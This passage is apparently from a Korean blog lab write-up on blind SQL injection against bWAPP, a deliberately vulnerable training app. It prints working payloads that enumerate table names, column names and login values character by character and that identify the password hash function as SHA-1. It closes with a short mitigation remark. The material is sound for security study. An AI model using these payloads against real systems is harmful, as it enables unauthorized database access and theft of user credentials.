'or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table'  and table_schema='bWAPP' limit 0,1),2,1)) = 108#

 

๋‘๋ฒˆ์งธ ๊ธ€์ž๋ฅผ ์•Œ์•„๋ณผ๋•Œ๋Š” limitํ•จ์ˆ˜๋Š” ๊ทธ๋Œ€๋กœ (DB๋ชฉ๋ก์ค‘ ์ฒซ๋ฒˆ์งธ ์ค„์˜ ๋‹จ์–ด์ด๋ฏ€๋กœ) ํ•˜๊ณ , substring์˜ 

์‹œ์ž‘ ์ธ๋ฑ์Šค๋ฅผ 2๋กœ ๋ฐ”๊ฟ”์ฃผ๋ฉด ๋œ๋‹ค.

 


...์ด๋Ÿฐ์‹์œผ๋กœ ์ญ‰ ์•Œ์•„๋ณด๋‹ค ๋ณด๋ฉด

users ๋ผ๋Š” ํ…Œ์ด๋ธ”์„ ์ฐพ๊ฒŒ ๋  ๊ฒƒ์ด๋‹ค.

 

(๋„ค๋ฒˆ์งธ์— ํ…Œ์ด๋ธ”์ด ์žˆ์Œ. )

 

์‚ฌ์šฉ์ž ๊ณ„์ • ์ •๋ณด๊ฐ€ ๋‹ด๊ฒจ์žˆ์„ ๊ฒƒ ๊ฐ™๊ธฐ ๋•Œ๋ฌธ์— ์ด ํ…Œ์ด๋ธ”์˜ ๋‚ด์šฉ์„ ํŒŒ์•…ํ•ด๋ณด๋ฉด ๋œ๋‹ค.

 

3. Column ์ด๋ฆ„์˜ ๊ธธ์ด ํŒŒ์•…


bWAPP๋ผ๋Š” ๋ฐ์ดํƒ€๋ฒ ์ด์Šค์˜  users๋ผ๋Š” ํ…Œ์ด๋ธ”.

๊ทธ๋Ÿผ users์˜ ์ปฌ๋Ÿผ์„ ์•Œ์•„๋ณด๊ธฐ ์œ„ํ•ด ์ฒซ๋ฒˆ์งธ ์ปฌ๋Ÿผ๋ถ€ํ„ฐ ๊ธธ์ด๋ฅผ ์•Œ์•„๋ณธ๋‹ค.

 


'or 1=1 and length((select column_name from information_schema.columns where table_schema='bWAPP' and table_name='users' limit 0,1))=2#

์ฒซ๋ฒˆ์งธ ์ปฌ๋Ÿผ์€ ๋‘๊ธ€์ž์ด๋‹ค.

 

 

3-1. Column ์ด๋ฆ„ ํŒŒ์•…


1๋ฒˆ์งธ ๊ธ€์ž :
'or 1=1 and substring((select column_name from information_schema.columns where table_schema='bWAPP' and table_name='users' limit 0,1 ),1,1)='i'#

 

2 ๋ฒˆ์จฐ ๊ธ€์ž : 
'or 1=1 and substring((select column_name from information_schema.columns where table_schema='bWAPP' and table_name='users' limit 0,1 ),2,1)='d'#

 

์ฆ‰ ์ฒซ๋ฒˆ์งธ ์ปฌ๋Ÿผ = id 

 


์ด๋Ÿฐ์‹์œผ๋กœ ๊ธ€์ž ๊ธธ์ด์™€ ์ฒซ๋ฒˆ์งธ๊ธ€์ž๋ฅผ ์•Œ๋ฉด ๋Œ€๊ฐ• ์œ ์ถ” ํ•  ์ˆ˜๋„ ์žˆ์Œ.

 

 

์ด๋Ÿฐ์‹์œผ๋กœ login์ด๋ผ๋Š” ๋‘๋ฒˆ์งธ ์ปฌ๋Ÿผ๋ช…์„ ์•Œ์•˜๋ƒˆ๋‹ค๊ณ , ๊ฐ€์ •ํ• ๋•Œ login ์— ๋ฐ์ดํ„ฐ๋ฅผ ํŒŒ์•…ํ•˜๋ ค๋ฉด

 

 

1๋ฒˆ์งธ ๋ฐ์ดํ„ฐ : 
 'or 1=1 and length((select login from users limit 0,1))=6#

 

2๋ฒˆ์งธ data : 
'or 1=1 and length((select login from users limit 1,1))=3#

์ฒ˜์Œ ๊ธ€์ž์ˆ˜๋Š” A.I.M.(6๊ธ€์ž)  ๋‘๋ฒˆ์งธ ๊ธ€์ž์ˆ˜๋Š” bee(3๊ธ€์ž) ์ธ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ์Œ.

๊ฐ™์€ ๋ฐฉ์‹์œผ๋กœ ๋‚ด์šฉ๋„ ํŒŒ์•… ํ•  ์ˆ˜ ์žˆ์Œ.

 


 

๋‹ค ๋น„์Šทํ•œ ๋งฅ๋ฝ์ด๋ฏ€๋กœ

length, ascii, limit, substring ํ•จ์ˆ˜๋งŒ ์ž˜ ์ดํ•ดํ•œ๋‹ค๋ฉด blind sql ์ฟผ๋ฆฌ๋ฌธ์„ ๋งŒ๋“œ๋Š” ๊ฒƒ์ด ๊ทธ๋ฆฌ ์–ด๋ ต์ง€ ์•Š์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

๋‚˜๋จธ์ง€ ์ฟผ๋ฆฌ๋Š” ์ƒ๋žตํ•˜๊ณ  password๋ฅผ ์•Œ์•˜์„ ๋•Œ๋ฅผ ๊ฐ€์ •ํ•˜์—ฌ ๋ฌด์Šจ ํ•ด์‹œํ•จ์ˆ˜๋ฅผ ์“ฐ๋Š”์ง€ ์•Œ์•„๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.


password๋Š” ํ•ด์‹œ๊ฐ’์œผ๋กœ ์ด๋ฃจ์–ด์ ธ ์žˆ๋Š”๋ฐ, 

 

blind sql์ธ์ ์…˜์„ ํ†ตํ•ด ์ถ”์ธก์ด ๊ฐ€๋Šฅํ•˜๋‚˜, ์ผ์ผ์ด ํ™•์ธํ•˜๊ธฐ์—” ์‹œ๊ฐ„์ด ๋„ˆ๋ฌด ์˜ค๋ž˜ ๊ฑธ๋ฆฌ๊ธฐ ๋•Œ๋ฌธ์—,

๋น„๋ฐ€๋ฒˆํ˜ธ์— ์–ด๋–ค ํ•ด์‹œ ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๋Š”์ง€ ์•Œ์•„๋ณด๋„๋ก ํ•˜๊ฒ ๋‹ค.


(์ด๋ถ€๋ถ„์— ๋Œ€ํ•ด์„œ๋Š” sql injection ์ž๋™ํ™”ํˆด์„ ํŒŒ์ด์ฌ์„ ์‚ฌ์šฉํ•ด์„œ ๋งŒ๋“ค์–ด ๋ณด๋ ค ํ•œ๋‹ค.)



์ด๊ฑด password๋ฅผ ์•Œ๊ณ  ์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•˜๊ณ  ํ•˜๋Š” ๊ฒƒ์ž„ (login ='bee'์˜ ํŒจ์Šค์›Œ๋“œ๋Š” bug๋ฅผ sha-1 ํ•ด์‹œ๊ฐ’์œผ๋กœ ๋ณ€ํ™˜ํ•œ ๊ฐ’)


'or 1=1 and md5("bug")=(select password from users where login='bee')#

 

 

๊ฒฐ๊ณผ ๊ฐ’ = ๊ฑฐ์ง“ 

์ฆ‰ ์ด ๋น„๋ฐ€๋ฒˆํ˜ธ์— ํ•ด์‹œ ํ•จ์ˆ˜๋Š” md5๊ฐ€ ์•„๋‹ˆ๋‹ค.

 


'or 1=1 and sha1("bug")=(select password from users where login='bee')#
 

 

๊ฒฐ๊ณผ ๊ฐ’ = ์ฐธ

 

๋”ฐ๋ผ์„œ ๋น„๋ฐ•์Šค์—์„œ๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ ํ•ด์‹œ ํ•จ์ˆ˜๋ฅผ SHA-1 ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ–ˆ์Œ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

 

 

SQL ์ธ์ ์…˜ ์„ฑ๊ณต

 

 

๋Œ€์‘ ๋ฐฉ์•ˆ์€ ์•ž์— ์‹ค์Šตํ•ด์™”๋˜ SQL์ธ์ ์…˜์˜ ๋Œ€์‘๋ฐฉ์•ˆ๊ณผ ๋™์ผํ•จ์œผ๋กœ, ์ƒ๋žตํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

PHP ๊ธฐ๋ณธ ์ œ๊ณตํ•จ์ˆ˜ mysql_real_escape_string()ํ•จ์ˆ˜ ์‚ฌ์šฉํ•˜์—ฌ ์ž…๋ ฅํ•œ ๋ฐ์ดํ„ฐ ์šฐํšŒ.

๋ฐ˜์‘ํ˜•
Contents

ํฌ์ŠคํŒ… ์ฃผ์†Œ๋ฅผ ๋ณต์‚ฌํ–ˆ์Šต๋‹ˆ๋‹ค

์ด ๊ธ€์ด ๋„์›€์ด ๋˜์—ˆ๋‹ค๋ฉด ๊ณต๊ฐ ๋ถ€ํƒ๋“œ๋ฆฝ๋‹ˆ๋‹ค.